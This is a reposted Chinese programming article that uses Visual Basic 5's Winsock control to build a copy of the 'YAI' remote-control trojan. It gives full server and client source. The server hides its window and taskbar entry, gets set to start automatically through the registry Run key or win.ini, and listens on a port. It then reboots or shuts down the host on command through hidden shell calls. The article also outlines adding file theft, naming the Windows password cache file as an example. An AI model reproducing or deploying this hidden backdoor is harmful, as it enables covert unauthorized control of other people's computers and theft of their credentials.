您的位置: 首页 N搜咨询 文章阅读 你也可以YAI--VB5中Winsock控件的…
打印本页 放大字体 关闭本页
你也可以YAI--VB5中Winsock控件的使用

作者:N搜网友 编辑:N搜网 录入:N搜网 来源:N搜网络
录入时间:2006-8-15 更新时间:2006-8-15 点击次数:731
主标题:你也可以YAI--VB5中Winsock控件的使用
副标题:你也可以YAI--VB5中Winsock控件的使用
短标题:你也可以YAI--VB5中Winsock控件的使用
 

你也可以YAI--VB5中Winsock控件的使用
(加入日期:2001-8-31 点击数:932)
电信机房P4服务器·6999/年·送产权蓝芒系统
【对此文发表评论】 【编程爱好者论坛】 【保存文章至硬盘】  【打印文章】
 
林智华

前一段时间,一个名叫YAI的‘病毒’在我国闹的沸沸扬扬,许多不明真相的人
对他感到神秘莫测,可是究其实质无非也就是一个远程控制软件罢了,只不过他的
服务器端程序隐藏的十分好而已。其实在VB5中有一个基于TCP\IP协议的Winsock控
件,利用他改改属性,写几段代码,我们同样可以来一回YAI.
由于篇幅所限,在这里我们只来看看对远程计算机的重启,关闭功能室如何实现
的。打开VB5后,在工具箱中并不能看到Winsock控件,通过鼠标右键单击工具箱点
“部件”,再将“Microsoft Winsock Control 5.0”选中确定后,就可以将Winsock
控件添加到工具箱中了。
远程控制功能是基于客户机/服务器这一模型来实现的,所以程序的编制也应分两
部分进行:一部分是服务器端--也就是被控制的一方,另一部分是客户端--控制方。
服务器程序要守侯在一个固定或不固定的网址(IP)上等待客户程序的请求;客户程序
则向服务器程序所在的网址请求连接,连接成功后通过交换信息即可得到相应的服务。
因此设置Winsock属性时,服务器端应设置LocalPort和应用Listen方法进行监听,客
户程序则要设置RemoteHost和RemotePort及应用Connect方法请求连接,并用Senddata
方法互换信息。下面是Winsock控件的相关属性,方法和事件。(略去一些暂用不到的)
*属性
-------------------------------------------------------------------------
LocalHostName | 本地机器名
LocalIP | 本地机器IP地址
LocalPort | 本地机器通信程序的端口(0<端口<65536)
RemoteHost | 远程机器名
RemotePort | 远程机器的通信程序端口
state | 连接的当前状态(文后有详细说明)
Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)
--------------------------------------------------------------------------
*方法
--------------------------------------------------------------------------
Listen
Listen方法用于服务器程序,等待客户访问。
格式:Winsock对象.listen
Connect
Connect方法用于向远程主机发出连接请求
格式:Winsock对象.connect [远程主机IP,远程端口]
Accept
Accept方法用于接受一个连接请求
格式:Winsock对象.accept Request ID
Senddata
此方法用于发送数据
格式:Winsock对象.senddata 数据
Getdata
用来取得接收到的数据
格式:Winsock对象.getdata 变量 [,数据类型 [,最大长度]]
Close
关闭当前连接
格式:Winsock对象.close
*事件
----------------------------------------------------------------------------
Close | 远程机器关闭连接时触发
Connect | 连接建立好,可以进行通信时触发(客户端)
ConnectRequest | 有请求连接到达时产生(服务器端)
DataArrival | 有数据到达时触发
Error | 发生错误时发生
SendProgress | 数据传送进度
-----------------------------------------------------------------------------
程序代码如下:
--》服务器端程序(server.exe)
先在窗体中放置Winsock控件(他在运行时是看不见的),属性采用默认值,再设置Form1的
属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可
手工在注册表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”
中增加键值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run写入
"C:\windows\server.exe"来达到目的。当然也可通过在VB5中调用API函数来实现对注册表
的写入,这就更方便了,不过由于实现过程较复杂,就不在这里说了.

Private Sub Form_Load()
On Error GoTo skip 注释:如此端口已有通信程序则退出
Winsock1.LocalPort = 1334 注释:端口值应大于1024,如还有冲突可改为其他值
Winsock1.Listen
Exit Sub
skip:
If Err.Number = 10048 Then
MsgBox "端口冲突,退出!", vbOKOnly, "注意!"
End
End If
End Sub

Private Sub Winsock1_Close()
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Listen 注释:关闭连接后继续监听
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 注释:请求到达时,接受连接
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strget As String
Dim ccom As String
Winsock1.GetData strget 注释:读取到达的数据
Select Case strget
Case "a" 注释:判断到达的数据是否‘a’,是则重启,你也可自己定义(协议就是这样产生的)
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 注释:不同机器设置不一样
Call Shell(ccom, vbHide) 注释:由函数curr_win()来判断
Case "b" 注释:如为‘b’则关闭计算机
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"
Call Shell(ccom, vbHide) 注释:函数shell来执行命令
Case Else 注释:可以在此加入其他命令
End Select
End Sub

Function curr_win() As String
Dim i As Integer
Dim enstr As String
i = 1 注释:此函数通过读取环境变量来获得Windows目录
enstr = Environ(i)
Do While enstr <> ""
If Len(enstr) > 11 Then
If Left(enstr, 11) = "winbootdir=" Then
curr_win = Right(enstr, Len(enstr) - 11)
Exit Do
End If
End If
i = i + 1
enstr = Environ(i)
Loop
End Function

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal
Scode As Long, ByVal Source As String, ByVal HelpFile As String,
ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "错误", vbOKOnly, "注意!" 注释:如程序出现错误,则简单的退出
End
End Sub

--》客户端程序(Client.exe)
程序界面如图[control.jpg]
防入四个命令按钮,一个标题框,一个Winsock控件,其属性设置如下:
------------------------------------------------------------------------- -
控件名 | 控件类 | 属性 | 属性值
----------------------------------------------------------------------------
closewin_but | commandbutton | caption | 远程关闭
startwin_but | commandbutton | caption | 远程重启
connect_but | commandbutton | caption | 连接
exit_but | commandbutton | caption | 退出
state_lab | label | borderstyle | 1
-----------------------------------------------------------------------------
代码如下:
Private Sub Form_Load()
Winsock1.LocalPort = 22226 注释:本地端口可任选,只要不冲突且小于65535,用
注释:netstat -an命令可查看当前通信进程
Winsock1.RemoteHost = "127.0.0.1" 注释:调试时此IP将对本机操作,实际应用时可
注释:换上被控方IP
Winsock1.RemotePort = 1334 注释:对应服务器端的localport
state_lab = "未建立连接."
End Sub

Private Sub closewin_but_Click()
If Winsock1.State <> sckConnected Then
state_lab = "请先建立连接"
Else
Winsock1.SendData "b" 注释:发出关闭命令
End If
End Sub

Private Sub startwin_but_Click()
If Winsock1.State <> sckConnected Then
state_lab = "请先建立连接"
Else
Winsock1.SendData "a" 注释:发出重启命令
End If
End Sub

Private Sub connect_but_Click()
On Error GoTo skip
If Winsock1.State = sckConnected Then
state_lab = "已建立连接了"
Else
Winsock1.Connect
End If
Exit Sub
skip: 注释:用netstat命令看到状态为Time_wait则
If Err.Number = 10048 Then 注释:须等待一段时间才可连接,也可换另一
注释:端口,可加快连接速度
MsgBox "端口正在使用,请稍后再试!", vbOKOnly, "注意!"
End
End If
End Sub

Private Sub exit_but_Click()
Winsock1.Close 注释:关闭连接且退出
End
End Sub

Private Sub Winsock1_Connect()
state_lab = "建立连接成功!可发送命令."
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String,
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,
ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "错误", vbOKOnly, "注意!"
End
End Sub

通过上面的例子,我们大概了解了远程控制的原理,对于其他功能的实现应该不难了。如
文件的下载,可先让客户程序发一命令字串注释:cc:\windows\lzh.pwl注释:,服务器接收到命令字
串后判断出首字母c为下载命令,则将所指定的命令文件注释:c:\windows\lzh.pwl注释:传送给客户
端,完成相应的服务。需要注意的是,此程序只能建立一个连接,如要建立多个连接可通过
在服务器端产生多个Winsock实例来接受请求.
*****测试环境:
Window98,MicroSoft Visual Basic 5.0企业版

附:属性state值
常数 值 描述
sckClosed 0 关闭状态
sckOpen  1 打开状态
sckListening 2 侦听状态
sckConnectionPending 3 连接挂起
sckResolvingHost  4 解析域名
sckHostResolved 5 已识别主机
sckConnecting 6 正在连接
sckConnected 7 已连接
sckClosing 8 同级人员正在关闭连接
sckError 9 错误

N搜网-中国网上商店商品服务搜索门户]:[本文章由N搜网于2006-8-15录入系统,网址:www.nsall.com

打印本页 放大字体 关闭本页
 
 
相关主题文章
全面了解Google网页目录 深度了解RSS历史及发展历程
什么是ASP?ASP有什么特点? 学习一点有关主页制作中色彩搭配的知识
什么是CPA、CPC、CPM、CPO、PPC、PPL、CPTM? 什么是JAVA?
什么是JSP?JSP有哪些优点? 制作网站的基本原则
你也可以YAI--VB5中Winsock控件的使用 制作主页的五十个秘诀
判断Cookies是否处于开启状态 重构、标准、布局
重构、标准、布局 电子商务站点设计技巧
网站改版十个理由九个错! 网站结构与美女身材的相似性?
网站设计成功要素 营销商如何制定网站改版解决方案
中搜网络猪近期将推出新版 企业网站不能成为摆设
如何匹配特定的节点 如何设计一个成功的网站
软件界面设计要素 完整VI项目设计书
网络世界“惊天大创意” 利用网站拓展出口三策略
设计网站要绞尽脑汁 走出误区!对网站建设的反思
商业网站竞争优势研究 电子商务站点设计技巧
网站设计:从形式到内容,再到服务 网站建设之互动栏目的重要性
闲谈中国网站的名字 网站页面信息和表现原则
网站的各个栏目策划 版面设计的介绍
网页版面的布局 用户可以在浏览器中将已经制作好的 Scaal 主页打…
网页版面设计 网站LOGO设计规范的思考
营销商如何制定新一年的网站改版计划 网站CI形象设计
网站规划的流程 网页设计注意事项
一份好的商业计划书提纲 网站的各个栏目策划
企业如何准备建网资料? 商业网站的制作规范
商业网站规划设计 网页设计的注意事项
会计类个人网站的现状和思考 中国个人网站的现状
WEB站点设计中基于价值的方法 制作网站使用的相关软件
使用DIV之后,什么时候使用TABLE? WEB站点设计中基于价值的方法
成功网站背后的故事 对个人主页制作者的一些建议
会计类个人网站的现状和思考 建个人网站有哪些方式 ?
Web网站的设计、管理与维护 Efly.Wang对中国网站设计的感想
高手进阶:网页设计中的文字运用 个人网站制作及博客建站技巧
搜索引擎营销的目标层次及网站优化设计 建立网站有哪些作用?
使用DIV之后,什么时候使用TABLE? 制定主页的风格
制作网页需要的硬件配置 提高网站广告效果的九个要诀
面向搜索引擎的网站设计 优化加速你的网站-2
优化加速你的网站-1 网站登录Google与网站设计
建设网站必读 主页制作的个人观点
在网页编辑常用表现的实现方法 建站技巧之在搜索引擎作弊的一些方法
关于网站制作规范的探讨 XHTML+CSS=网站重构
网站页面浏览数量统计指标真实意义的讨论 网页应该怎样设计才能被百度有效收录
网站设计与开发流程管理 个人网站的制作与分类
建站指南:善用色彩设计网页 从网站优化设计的观点看,网站结构怎样才是合理的…
从报纸排版中看WEB标准的应用 从网站优化设计的观点看,网站结构怎样才是合理的…
网络营销常用的十种方法 个人网站的制作与分类
个人网站发展壮大过程中几个无法回避的问题 浅谈网站访问量的监测
个人网站如何定位和发展 [网站类项目商业计划书]格式
网站建设方案 《站长兵法》连载之序
国际网页Web设计流程 韩国网站的设计好在那里
建立企业网站的内容和建站方法 建站指南:善用色彩设计网页
 
 
 
本站关键字:网上商店商品服务大全 网上购物导航 在线购物搜索引擎 网店比较购物 网络商城 特色网上超市商店 网上网络开店购物